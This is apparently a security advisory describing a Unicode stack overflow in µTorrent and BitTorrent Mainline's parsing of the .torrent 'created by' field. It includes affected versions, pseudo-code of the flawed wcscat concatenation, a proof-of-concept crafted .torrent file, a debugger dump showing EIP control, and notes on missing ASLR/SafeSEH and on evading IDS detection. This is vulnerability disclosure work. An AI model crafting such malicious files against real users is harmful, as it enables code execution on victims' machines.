

Unicode Stack Overflow in μ Torrent / Bittorrent Mainline Client

Rhys Kidd

rhyskidd@gmail.com

“The popular Bittorrent client μ Torrent is vulnerable to a client side file format security vulnerability, due to the use of the dangerous API function `mscVRT.dll!wscat()`. This function does not ensure that the destination memory location is sufficiently large to accommodate the source Unicode string, overwriting adjacent memory locations that are important to the flow of execution. An example exploitation scenario would involve compelling a target to open a maliciously crafted .torrent file. As Bittorrent Mainline since 6.0 has adopted the μ Torrent source code it has also been confirmed as affected by this vulnerability. Recent statistics show that 18.82% of Windows desktops have one of these two programs installed.¹

As the attacker controlled data is a Unicode string, reliable exploitation is difficult although not impossible. The reliability of the exploitation is improved because the target memory module does not utilise modern Win32 defence in depth techniques – such as setting the ASLR enabling bit, or compiling with SafeSEH.”

Confirmed affected versions

uTorrent	Bittorrent Mainline Client
1.8 Release Candidate 6 (build 11564)	6.0.3 (build 8642)
1.7.7 (released 25 Jan 2008)	6.0.2 (build 8388)
1.7.6 (released 15 Jan 2008)	6.0.1 (build 7859)
1.7.5 – 1.6	6.0

Details of the Vulnerability

The vulnerability lies in uTorrent’s parsing of .torrent files, which are small text documents containing the metadata for a particular Bittorrent download. These files are regularly exchanged and hosted on central web servers, which we will see later makes the required user interaction much more likely. These files use a custom, although well documented, encoding which is termed “bencoding” by the protocol architect Bram Cohen.²

When the program concatenates together the creation date and “created by” string identifying the original client no regard is made for the size of the resulting string. By supplying an overly long “created by” string in the .torrent file, a Unicode stack overflow will occur when uTorrent calls the `mscVRT.dll!wscat()` function. Appendix D is an image of the interface.

¹ <http://torrentfreak.com/p2p-statistics-080426/> accessed 26-April-2008

² <http://www.bittorrent.org/protocol.html> accessed 12-Aug-2007

Pseudo code for the vulnerable function

The vulnerable section of code has been isolated in a disassembly of uTorrent as detailed in Appendix A. This code reduces approximately to the following pseudo C code for the vulnerable meta file parsing function, before the final Unicode string is used in the graphical user interface.

```

01 int vuln_function(wchar_t *creation_date[], wchar_t *created_by[])
02 {
03     wchar_t target_string[5000];
04     target_string = creation_date;
05
06     wcsat( target_string, " by " );
07     wcsat( target_string, created_by ); // Attacker controlled
08
09     return target_string;
10 }

```

Sample of the proof-of-concept crafted .torrent meta file

As the “bencoded” meta file’s fields can be easily randomised with random alphanumeric data, it is relatively easily to write an exploit generator that will make IDS/IPS detection computational expensive. Such has been the way in which a Metasploit Framework exploit plugin has been developed that has no static strings that are not likewise found in every legitimate .torrent meta file.

```

d
  8:announce20:http://dNkzSOA9J.com
  7:comment0:
  13:comment.utf-80:
  10:created by5130:Aa0Aa1Aa2Aa3Aa4Aa5Aa6 ... Fb4Fb5Fb6Fb7Fb8F
  13:creation datei1015669888e
  8:encoding5:UTF-8
  4:info
    d
      6:lengthi693e
      4:name10:4vjxdmI8RE
      10:name.utf-810:4vjxdmI8RE
      12:piece lengthi76965e
      6:pieces20:ÍÒ€o|H0i≤ a<Ú< &ä#®
      6:source11:Pf6R11syd62
    e
  e

```

Appendix B – Post `mscVRT.dll!wcsat()` overflow memory state

IA32 Registers

```
EAX 00000000
ECX 006E0041
EDX 7C9037D8 ntdll.7C9037D8
EBX 00000000
ESP 0012F290
EBP 0012F2B0
ESI 00000000
EDI 00000000
EIP 006E0041
```

The screenshot displays the Immunity Debugger interface for `uTorrent.exe`. The CPU window shows a loop of instructions: `ADD BYTE PTR DS:[EAX], AL` at addresses from `006E0041` to `006E0095`. The Registers (EPU) window shows the following state:

```
EAX 00000000
ECX 006E0041
EDX ntdll.7C9037D8
EBX 00000000
ESP 0012F290
EBP 0012F2B0
ESI 00000000
EDI 00000000
EIP 006E0041
C 0 ES 0023 32bit 0(FFFFFFFF)
P 0 CS 001B 32bit 0(FFFFFFFF)
A 0 SS 0023 32bit 0(FFFFFFFF)
Z 1 DS 0023 32bit 0(FFFFFFFF)
S 0 FS 0028 32bit 7FFD0000(FFF)
T 0 GS 0000 NULL
D 0
D 0 LastErr ERROR_SUCCESS (00000000)
EFL 00010246 (NO, NB, E, BE, NS, PE, GE, LE)
ST0 empty %m, 19L
ST1 empty INTR0 D700 0000002C 8231R600
ST2 empty %m, 19L
ST3 empty %m, 19L
ST4 empty INTR0 60B4 00000000 BC682150
ST5 empty 1.00000000000000000000
ST6 empty 86.00000000000000000000
ST7 empty 86.00000000000000000000
FST 4000 Cond 1 0 0 0 Err 0 0 0 0 0 0 (E0)
FCW 027F Prec NEAR, SS Mask 1 1 1 1 1 1
```

Annotations in the image indicate that the EIP register is set to an attacker-controlled value (Unicode 'An') and that the stack is full of attacker-controlled values intended for shellcode execution.

The bottom status bar shows an "Access violation when writing to [00000000] - use Shift+F7/F8/F9 to pass exception to program" and the program is in a "Paused" state.

Appendix C – ASLR /dynamicbase support in process modules

ASLR /dynamicbase Table			
Base	Name	DLLCharacteristics	Enabled?
77b20000	MSASN1.dll	0x0400	
75f80000	browseui.dll	0x0000	
76980000	LINKINFO.dll	0x0400	
76fc0000	rasadhlp.dll	0x0400	
7c800000	kernel32.dll	0x0000	
77c10000	msvcrt.dll	0x0000	
77f10000	GDI32.dll	0x0000	
7c900000	ntdll.dll	0x0000	
751d0000	wshbth.dll	0x0000	
71a90000	wshtcpip.dll	0x0000	
76600000	CSCDLL.dll	0x0000	
7e290000	SHDOCVW.dll	0x0000	
42990000	iertutil.dll	0x0140	ASLR Aware (/dynamicbase)
754d0000	CRYPTUI.dll	0x0000	
42c10000	WININET.dll	0x0140	ASLR Aware (/dynamicbase)
77fe0000	Secur32.dll	0x0000	
76390000	IMM32.DLL	0x0000	
71ab0000	WS2_32.dll	0x0000	
76f20000	DNSAPI.dll	0x0000	
774e0000	ole32.dll	0x0000	
77f60000	SHLWAPI.dll	0x0000	
662b0000	hnetcfg.dll	0x0000	
7e410000	USER32.dll	0x0000	
763b0000	comdlg32.dll	0x0000	
76e10000	adslqpc.dll	0x0000	
76d40000	MPRAPI.dll	0x0000	
76c90000	IMAGEHELP.dll	0x0000	
76e80000	rtutils.dll	0x0000	
76d60000	Iphlpapi.dll	0x0000	
76c30000	WINTRUST.dll	0x0000	
71aa0000	WS2HELP.dll	0x0000	
77050000	COMRes.dll	0x0400	
5ad70000	uxtheme.dll	0x0000	
77a20000	cscui.dll	0x0000	
77a80000	CRYPT32.dll	0x0000	
5b860000	NETAPI32.dll	0x0000	
7c9c0000	SHELL32.dll	0x0000	
77e70000	RPCRT4.dll	0x0000	
00400000	uTorrent.exe	0x0000	
76b20000	ATL.DLL	0x0400	
76fd0000	CLBCATQ.DLL	0x0000	
769c0000	USERENV.dll	0x0000	
76fb0000	winrnr.dll	0x0400	
773d0000	COMCTL32.dll	0x0000	
755c0000	msctfime.ime	0x0000	
74720000	MSCTF.dll	0x0000	
77c00000	VERSION.dll	0x0000	
71a50000	mwssock.dll	0x0000	
77b40000	appHelp.dll	0x0000	
71bf0000	SAMLIB.dll	0x0000	
76f60000	WLDAP32.dll	0x0000	
77cc0000	ACTIVEDS.dll	0x0000	
77da0000	ADVAPI32.dll	0x0000	
77920000	SETUPAPI.dll	0x0000	
76990000	ntshrui.dll	0x0000	
01530000	Normaliz.dll	0x0140	ASLR Aware (/dynamicbase)
77120000	oleaut32.dll	0x0000	

Note: This Immunity Debugger inspection of the ASLR capabilities of each module in the uTorrent process was run on Windows XP SP2, hence the lack of system modules employing ASLR. The important fact being highlighted here is that the main uTorrent.exe module does not have this capability, were it to be used on a Vista machine.

Appendix D – uTorrent Interface “Created By” Element

